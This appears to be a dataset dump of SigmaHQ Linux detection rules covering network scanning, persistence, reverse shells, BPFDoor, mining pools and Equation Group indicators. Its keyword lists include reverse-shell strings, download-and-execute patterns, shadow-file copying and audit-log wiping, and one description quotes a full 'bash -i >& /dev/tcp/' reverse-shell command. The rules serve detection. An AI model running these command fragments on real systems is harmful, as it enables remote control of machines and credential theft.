deardaniel/secdata-raw huggingface dataset:
Sigma Detection Rule: Linux Network Service Scanning - Auditd
Repository: SigmaHQ/sigma
Severity: low
Status: test
Author: Alejandro Ortuno, oscd.community
Date: 2020-10-21
ATT&CK techniques: T1046
Log source: linux/

Description:
Detects enumeration of local or remote network services.

Detection logic:
{
  "selection": {
    "type": "SYSCALL",
    "exe|endswith": [
      "/telnet",
      "/nmap",
      "/netcat",
      "/nc",
      "/ncat",
      "/nc.openbsd"
    ],
    "key": "network_connect_4"
  },
  "condition": "selection"
}

References:
  - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md
Sigma Detection Rule: Creation Of An User Account
Repository: SigmaHQ/sigma
Severity: medium
Status: test
Author: Marie Euler, Pawel Mazur
Date: 2020-05-18
ATT&CK techniques: T1136.001
Log source: linux/

Description:
Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

Detection logic:
{
  "selection_syscall_record_type": {
    "type": "SYSCALL",
    "exe|endswith": "/useradd"
  },
  "selection_add_user_record_type": {
    "type": "ADD_USER"
  },
  "condition": "1 of selection_*"
}

References:
  - https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files
  - https://access.redhat.com/articles/4409591#audit-record-types-2
  - https://www.youtube.com/watch?v=VmvY5SQm5-Y&ab_channel=M45C07
Sigma Detection Rule: Disable System Firewall
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Pawel Mazur
Date: 2022-01-22
ATT&CK techniques: T1686
Log source: linux/

Description:
Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.

Detection logic:
{
  "selection": {
    "type": "SERVICE_STOP",
    "unit": [
      "firewalld",
      "iptables",
      "ufw"
    ]
  },
  "condition": "selection"
}

References:
  - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md
  - https://firewalld.org/documentation/man-pages/firewall-cmd.html
Sigma Detection Rule: Potential Abuse of Linux Magic System Request Key
Repository: SigmaHQ/sigma
Severity: medium
Status: experimental
Author: Milad Cheraghi
Date: 2025-05-23
ATT&CK techniques: T1059.004, T1529, T1489, T1499
Log source: linux/

Description:
Detects the potential abuse of the Linux Magic SysRq (System Request) key by adversaries with root or sufficient privileges
to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can crash the system, kill processes,
or disrupt forensic analysis—all while bypassing standard logging. Though intended for recovery and debugging, SysRq can be
misused as a stealthy post-exploitation tool. It is controlled via /proc/sys/kernel/sysrq or permanently through /etc/sysctl.conf.


Detection logic:
{
  "selection": {
    "type": "PATH",
    "name|endswith": [
      "/sysrq",
      "/sysctl.conf",
      "/sysrq-trigger"
    ]
  },
  "condition": "selection"
}

References:
  - https://www.kernel.org/doc/html/v4.10/_sources/admin-guide/sysrq.txt
  - https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/4/html/reference_guide/s3-proc-sys-kernel
  - https://www.splunk.com/en_us/blog/security/threat-update-awfulshred-script-wiper.html
Sigma Detection Rule: Use Of Hidden Paths Or Files
Repository: SigmaHQ/sigma
Severity: low
Status: test
Author: David Burkett, @signalblur
Date: 2022-12-30
ATT&CK techniques: T1574.001
Log source: linux/

Description:
Detects calls to hidden files or files located in hidden directories in NIX systems.

Detection logic:
{
  "selection": {
    "type": "PATH",
    "name|contains": "/."
  },
  "filter": {
    "name|contains": [
      "/.cache/",
      "/.config/",
      "/.pyenv/",
      "/.rustup/toolchains"
    ]
  },
  "condition": "selection and not filter"
}

References:
  - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md
Sigma Detection Rule: Systemd Service Creation
Repository: SigmaHQ/sigma
Severity: medium
Status: test
Author: Pawel Mazur
Date: 2022-02-03
ATT&CK techniques: T1543.002
Log source: linux/

Description:
Detects a creation of systemd services which could be used by adversaries to execute malicious code.

Detection logic:
{
  "path": {
    "type": "PATH",
    "nametype": "CREATE"
  },
  "name_1": {
    "name|startswith": [
      "/usr/lib/systemd/system/",
      "/etc/systemd/system/"
    ]
  },
  "name_2": {
    "name|contains": "/.config/systemd/user/"
  },
  "condition": "path and 1 of name_*"
}

References:
  - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md
Sigma Detection Rule: Unix Shell Configuration Modification
Repository: SigmaHQ/sigma
Severity: medium
Status: test
Author: Peter Matkovski, IAI
Date: 2023-03-06
ATT&CK techniques: T1546.004
Log source: linux/

Description:
Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.

Detection logic:
{
  "selection": {
    "type": "PATH",
    "name": [
      "/etc/shells",
      "/etc/profile",
      "/etc/profile.d/*",
      "/etc/bash.bashrc",
      "/etc/bashrc",
      "/etc/zsh/zprofile",
      "/etc/zsh/zshrc",
      "/etc/zsh/zlogin",
      "/etc/zsh/zlogout",
      "/etc/csh.cshrc",
      "/etc/csh.login",
      "/root/.bashrc",
      "/root/.bash_profile",
      "/root/.profile",
      "/root/.zshrc",
      "/root/.zprofile",
      "/home/*/.bashrc",
      "/home/*/.zshrc",
      "/home/*/.bash_profile",
      "/home/*/.zprofile",
      "/home/*/.profile",
      "/home/*/.bash_login",
      "/home/*/.bash_logout",
      "/home/*/.zlogin",
      "/home/*/.zlogout"
    ]
  },
  "condition": "selection"
}

References:
  - https://objective-see.org/blog/blog_0x68.html
  - https://web.archive.org/web/[PII_REDACTED]1143/https://www.glitch-cat.com/p/green-lambert-and-attack
  - https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
Sigma Detection Rule: Auditing Configuration Changes on Linux Host
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Mikhail Larin, oscd.community
Date: 2019-10-25
ATT&CK techniques: T1685
Log source: linux/

Description:
Detect changes in auditd configuration files

Detection logic:
{
  "selection": {
    "type": "PATH",
    "name": [
      "/etc/audit/*",
      "/etc/libaudit.conf",
      "/etc/audisp/*"
    ]
  },
  "condition": "selection"
}

References:
  - https://github.com/Neo23x0/auditd/blob/master/audit.rules
  - Self Experience
Sigma Detection Rule: Modification of ld.so.preload
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community
Date: 2019-10-24
ATT&CK techniques: T1574.006
Log source: linux/

Description:
Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.

Detection logic:
{
  "selection": {
    "type": "PATH",
    "name": "/etc/ld.so.preload"
  },
  "condition": "selection"
}

References:
  - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md
  - https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html
Sigma Detection Rule: System and Hardware Information Discovery
Repository: SigmaHQ/sigma
Severity: informational
Status: stable
Author: Ömer Günal, oscd.community
Date: 2020-10-08
ATT&CK techniques: T1082
Log source: linux/

Description:
Detects system information discovery commands

Detection logic:
{
  "selection": {
    "type": "PATH",
    "name": [
      "/sys/class/dmi/id/bios_version",
      "/sys/class/dmi/id/product_name",
      "/sys/class/dmi/id/chassis_vendor",
      "/proc/scsi/scsi",
      "/proc/ide/hd0/model",
      "/proc/version",
      "/etc/*version",
      "/etc/*release",
      "/etc/issue"
    ]
  },
  "condition": "selection"
}

References:
  - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware
Sigma Detection Rule: Logging Configuration Changes on Linux Host
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Mikhail Larin, oscd.community
Date: 2019-10-25
ATT&CK techniques: T1685
Log source: linux/

Description:
Detect changes of syslog daemons configuration files

Detection logic:
{
  "selection": {
    "type": "PATH",
    "name": [
      "/etc/syslog.conf",
      "/etc/rsyslog.conf",
      "/etc/syslog-ng/syslog-ng.conf"
    ]
  },
  "condition": "selection"
}

References:
  - self experience
Sigma Detection Rule: BPFDoor Abnormal Process ID or Lock File Accessed
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Rafal Piasecki
Date: 2022-08-10
ATT&CK techniques: T1106, T1059
Log source: linux/

Description:
detects BPFDoor .lock and .pid files access in temporary file storage facility

Detection logic:
{
  "selection": {
    "type": "PATH",
    "name": [
      "/var/run/aepmonend.pid",
      "/var/run/auditd.lock",
      "/var/run/cma.lock",
      "/var/run/console-kit.pid",
      "/var/run/consolekit.pid",
      "/var/run/daemon.pid",
      "/var/run/hald-addon.pid",
      "/var/run/hald-smartd.pid",
      "/var/run/haldrund.pid",
      "/var/run/hp-health.pid",
      "/var/run/hpasmlit.lock",
      "/var/run/hpasmlited.pid",
      "/var/run/kdevrund.pid",
      "/var/run/lldpad.lock",
      "/var/run/mcelog.pid",
      "/var/run/system.pid",
      "/var/run/uvp-srv.pid",
      "/var/run/vmtoolagt.pid",
      "/var/run/xinetd.lock"
    ]
  },
  "condition": "selection"
}

References:
  - https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
  - https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  - https://www.rapid7.com/blog/post/tr-bpfdoor-telecom-networks-sleeper-cells-threat-research-report/
  - https://github.com/rapid7/Rapid7-Labs/blob/741c7196ec12a0a56b63463d1fd726ff14d3a97a/BPFDoor/rapid7_detect_bpfdoor.sh
Sigma Detection Rule: Linux Reverse Shell Indicator
Repository: SigmaHQ/sigma
Severity: critical
Status: test
Author: Florian Roth (Nextron Systems)
Date: 2021-10-16
ATT&CK techniques: T1059.004
Log source: linux/network_connection

Description:
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Detection logic:
{
  "selection": {
    "Image|endswith": "/bin/bash"
  },
  "filter": {
    "DestinationIp": [
      "127.0.0.1",
      "0.0.0.0"
    ]
  },
  "condition": "selection and not filter"
}

References:
  - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Sigma Detection Rule: Communication To LocaltoNet Tunneling Service Initiated - Linux
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Andreas Braathen (mnemonic.io)
Date: 2024-06-17
ATT&CK techniques: T1572, T1090, T1102
Log source: linux/network_connection

Description:
Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains.
LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet.
Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.


Detection logic:
{
  "selection": {
    "DestinationHostname|endswith": [
      ".localto.net",
      ".localtonet.com"
    ],
    "Initiated": "true"
  },
  "condition": "selection"
}

References:
  - https://localtonet.com/documents/supported-tunnels
  - https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications
Sigma Detection Rule: Potentially Suspicious Malware Callback Communication - Linux
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: hasselj
Date: 2024-05-10
ATT&CK techniques: T1571
Log source: linux/network_connection

Description:
Detects programs that connect to known malware callback ports based on threat intelligence reports.


Detection logic:
{
  "selection": {
    "Initiated": "true",
    "DestinationPort": [
      888,
      999,
      2200,
      2222,
      4000,
      4444,
      6789,
      8531,
      50501,
      51820
    ]
  },
  "filter_main_local_ranges": {
    "DestinationIp|cidr": [
      "127.0.0.0/8",
      "10.0.0.0/8",
      "172.16.0.0/12",
      "192.168.0.0/16",
      "169.254.0.0/16",
      "::1/128",
      "fe80::/10",
      "fc00::/7"
    ]
  },
  "condition": "selection and not 1 of filter_main_*"
}

References:
  - https://www.mandiant.com/resources/blog/triton-actor-ttp-profile-custom-attack-tools-detections
  - https://www.mandiant.com/resources/blog/ukraine-and-sandworm-team
  - https://www.elastic.co/guide/en/security/current/potential-non-standard-port-ssh-connection.html
  - https://thehackernews.com/2024/01/systembc-malwares-c2-server-analysis.html
  - https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
Sigma Detection Rule: Linux Crypto Mining Pool Connections
Repository: SigmaHQ/sigma
Severity: high
Status: stable
Author: Florian Roth (Nextron Systems)
Date: 2021-10-26
ATT&CK techniques: T1496
Log source: linux/network_connection

Description:
Detects process connections to a Monero crypto mining pool

Detection logic:
{
  "selection": {
    "DestinationHostname": [
      "pool.minexmr.com",
      "fr.minexmr.com",
      "de.minexmr.com",
      "sg.minexmr.com",
      "ca.minexmr.com",
      "us-west.minexmr.com",
      "pool.supportxmr.com",
      "mine.c3pool.com",
      "xmr-eu1.nanopool.org",
      "xmr-eu2.nanopool.org",
      "xmr-us-east1.nanopool.org",
      "xmr-us-west1.nanopool.org",
      "xmr-asia1.nanopool.org",
      "xmr-jp1.nanopool.org",
      "xmr-au1.nanopool.org",
      "xmr.2miners.com",
      "xmr.hashcity.org",
      "xmr.f2pool.com",
      "xmrpool.eu",
      "pool.hashvault.pro",
      "moneroocean.stream",
      "monerocean.stream"
    ]
  },
  "condition": "selection"
}

References:
  - https://www.poolwatch.io/coin/monero
Sigma Detection Rule: Communication To Ngrok Tunneling Service - Linux
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Florian Roth (Nextron Systems)
Date: 2022-11-03
ATT&CK techniques: T1567, T1568.002, T1572, T1090, T1102
Log source: linux/network_connection

Description:
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors

Detection logic:
{
  "selection": {
    "DestinationHostname|contains": [
      "tunnel.us.ngrok.com",
      "tunnel.eu.ngrok.com",
      "tunnel.ap.ngrok.com",
      "tunnel.au.ngrok.com",
      "tunnel.sa.ngrok.com",
      "tunnel.jp.ngrok.com",
      "tunnel.in.ngrok.com"
    ]
  },
  "condition": "selection"
}

References:
  - https://twitter.com/hakluke/status/[PII_REDACTED]14977537/photo/1
  - https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent
Sigma Detection Rule: Suspicious Reverse Shell Command Line
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Florian Roth (Nextron Systems)
Date: 2019-04-02
ATT&CK techniques: T1059.004
Log source: linux/

Description:
Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell

Detection logic:
{
  "keywords": [
    "BEGIN {s = \"/inet/tcp/0/",
    "bash -i >& /dev/tcp/",
    "bash -i >& /dev/udp/",
    "sh -i >$ /dev/udp/",
    "sh -i >$ /dev/tcp/",
    "&& while read line 0<&5; do",
    "/bin/bash -c exec 5<>/dev/tcp/",
    "/bin/bash -c exec 5<>/dev/udp/",
    "nc -e /bin/sh ",
    "/bin/sh | nc",
    "rm -f backpipe; mknod /tmp/backpipe p && nc ",
    ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i))))",
    ";STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;",
    "/bin/sh -i <&3 >&3 2>&3",
    "uname -a; w; id; /bin/bash -i",
    "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()};",
    ";os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');",
    ".to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)",
    ";while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print",
    "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:",
    "rm -f /tmp/p; mknod /tmp/p p &&",
    " | /bin/bash | telnet ",
    ",echo=0,raw tcp-listen:",
    "nc -lvvp ",
    "xterm -display 1"
  ],
  "condition": "keywords"
}

References:
  - https://alamot.github.io/reverse_shells/
Sigma Detection Rule: Code Injection by ld.so Preload
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Christian Burkard (Nextron Systems)
Date: 2021-05-05
ATT&CK techniques: T1574.006
Log source: linux/

Description:
Detects the ld.so preload persistence file. See `man ld.so` for more information.

Detection logic:
{
  "keywords": [
    "/etc/ld.so.preload"
  ],
  "condition": "keywords"
}

References:
  - https://man7.org/linux/man-pages/man8/ld.so.8.html
Sigma Detection Rule: Shellshock Expression
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Florian Roth (Nextron Systems)
Date: 2017-03-14
ATT&CK techniques: T1505.003
Log source: linux/

Description:
Detects shellshock expressions in log files

Detection logic:
{
  "keywords": [
    "(){:;};",
    "() {:;};",
    "() { :;};",
    "() { :; };"
  ],
  "condition": "keywords"
}

References:
  - https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf
Sigma Detection Rule: Buffer Overflow Attempts
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Florian Roth (Nextron Systems)
Date: 2017-03-01
ATT&CK techniques: T1068
Log source: linux/

Description:
Detects buffer overflow attempts in Unix system log files

Detection logic:
{
  "keywords": [
    "attempt to execute code on stack by",
    "0bin0sh1",
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
    "stack smashing detected"
  ],
  "condition": "keywords"
}

References:
  - https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml
  - https://docs.oracle.com/cd/E19683-01/816-4883/6mb2joatd/index.html
  - https://www.giac.org/paper/gcih/266/review-ftp-protocol-cyber-defense-initiative/102802
  - https://blu.org/mhonarc/discuss/2001/04/msg00285.php
  - https://rapid7.com/blog/post/2019/02/19/stack-based-buffer-overflow-attacks-what-you-need-to-know/
Sigma Detection Rule: Potential Suspicious BPF Activity - Linux
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Red Canary (idea), Nasreddine Bencherchali
Date: 2023-01-25
Log source: linux/

Description:
Detects the presence of "bpf_probe_write_user" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.

Detection logic:
{
  "selection": [
    "bpf_probe_write_user"
  ],
  "condition": "selection"
}

References:
  - https://redcanary.com/blog/ebpf-malware/
  - https://man7.org/linux/man-pages/man7/bpf-helpers.7.html
Sigma Detection Rule: Suspicious Activity in Shell Commands
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Florian Roth (Nextron Systems)
Date: 2017-08-21
ATT&CK techniques: T1059.004
Log source: linux/

Description:
Detects suspicious shell commands used in various exploit codes (see references)

Detection logic:
{
  "keywords": [
    "wget * - http* | perl",
    "wget * - http* | sh",
    "wget * - http* | bash",
    "python -m SimpleHTTPServer",
    "-m http.server",
    "import pty; pty.spawn*",
    "socat exec:*",
    "socat -O /tmp/*",
    "socat tcp-connect*",
    "*echo binary >>*",
    "*wget *; chmod +x*",
    "*wget *; chmod 777 *",
    "*cd /tmp || cd /var/run || cd /mnt*",
    "*stop;service iptables stop;*",
    "*stop;SuSEfirewall2 stop;*",
    "chmod 777 2020*",
    "*>>/etc/rc.local",
    "*base64 -d /tmp/*",
    "* | base64 -d *",
    "*/chmod u+s *",
    "*chmod +s /tmp/*",
    "*chmod u+s /tmp/*",
    "* /tmp/haxhax*",
    "* /tmp/ns_sploit*",
    "nc -l -p *",
    "cp /bin/ksh *",
    "cp /bin/sh *",
    "* /tmp/*.b64 *",
    "*/tmp/ysocereal.jar*",
    "*/tmp/x *",
    "*; chmod +x /tmp/*",
    "*;chmod +x /tmp/*"
  ],
  "condition": "keywords"
}

References:
  - https://web.archive.org/web/[PII_REDACTED]1015/http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html
  - https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
  - http://pastebin.com/FtygZ1cg
  - https://artkond.com/2017/03/23/pivoting-guide/
Sigma Detection Rule: Symlink Etc Passwd
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Florian Roth (Nextron Systems)
Date: 2019-04-05
ATT&CK techniques: T1204.001
Log source: linux/

Description:
Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd

Detection logic:
{
  "keywords": [
    "ln -s -f /etc/passwd",
    "ln -s /etc/passwd"
  ],
  "condition": "keywords"
}

References:
  - https://www.qualys.com/2021/05/04/21nails/21nails.txt
Sigma Detection Rule: Suspicious Log Entries
Repository: SigmaHQ/sigma
Severity: medium
Status: test
Author: Florian Roth (Nextron Systems)
Date: 2017-03-25
Log source: linux/

Description:
Detects suspicious log entries in Linux log files

Detection logic:
{
  "keywords": [
    "entered promiscuous mode",
    "Deactivating service",
    "Oversized packet received from",
    "imuxsock begins to drop messages"
  ],
  "condition": "keywords"
}

References:
  - https://github.com/ossec/ossec-hids/blob/f6502012b7380208db81f82311ad4a1994d39905/etc/rules/syslog_rules.xml
Sigma Detection Rule: Equation Group Indicators
Repository: SigmaHQ/sigma
Severity: high
Status: test
Author: Florian Roth (Nextron Systems)
Date: 2017-04-09
ATT&CK techniques: T1059.004
Log source: linux/

Description:
Detects suspicious shell commands used in various Equation Group scripts and tools

Detection logic:
{
  "keywords": [
    "chown root*chmod 4777 ",
    "cp /bin/sh .;chown",
    "chmod 4777 /tmp/.scsi/dev/bin/gsh",
    "chown root:root /tmp/.scsi/dev/bin/",
    "chown root:root x;",
    "/bin/telnet locip locport < /dev/console | /bin/sh",
    "/tmp/ratload",
    "ewok -t ",
    "xspy -display ",
    "cat > /dev/tcp/127.0.0.1/80 <<END",
    "rm -f /current/tmp/ftshell.latest",
    "ghost_* -v ",
    " --wipe > /dev/null",
    "ping -c 2 *; grep * /proc/net/arp >/tmp/gx",
    "iptables * OUTPUT -p tcp -d 127.0.0.1 --tcp-flags RST RST -j DROP;",
    "> /var/log/audit/audit.log; rm -f .",
    "cp /var/log/audit/audit.log .tmp",
    "sh >/dev/tcp/* <&1 2>&1",
    "ncat -vv -l -p * <",
    "nc -vv -l -p * <",
    "< /dev/console | uudecode && uncompress",
    "sendmail -osendmail;chmod +x sendmail",
    "/usr/bin/wget -O /tmp/a http* && chmod 755 /tmp/cron",
    "chmod 666 /var/run/utmp~",
    "chmod 700 nscd crond",
    "cp /etc/shadow /tmp/.",
    "</dev/console |uudecode > /dev/null 2>&1 && uncompress",
    "chmod 700 jp&&netstat -an|grep",
    "uudecode > /dev/null 2>&1 && uncompress -f * && chmod 755",
    "chmod 700 crond",
    "wget http*; chmod +x /tmp/sendmail",
    "chmod 700 fp sendmail pt",
    "chmod 755 /usr/vmsys/bin/pipe",
    "chmod -R 755 /usr/vmsys",
    "chmod 755 $opbin/*tunnel",
    "chmod 700 sendmail",
    "chmod 0700 sendmail",
    "/usr/bin/wget http*sendmail;chmod +x sendmail;",
    "&& telnet * 2>&1 </dev/console"
  ],
  "condition": "keywords"
}

References:
  - https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1